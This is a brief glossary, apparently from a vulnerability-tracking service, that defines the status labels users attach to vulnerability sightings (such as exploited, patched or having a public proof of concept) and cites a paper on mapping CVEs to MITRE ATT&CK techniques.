- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.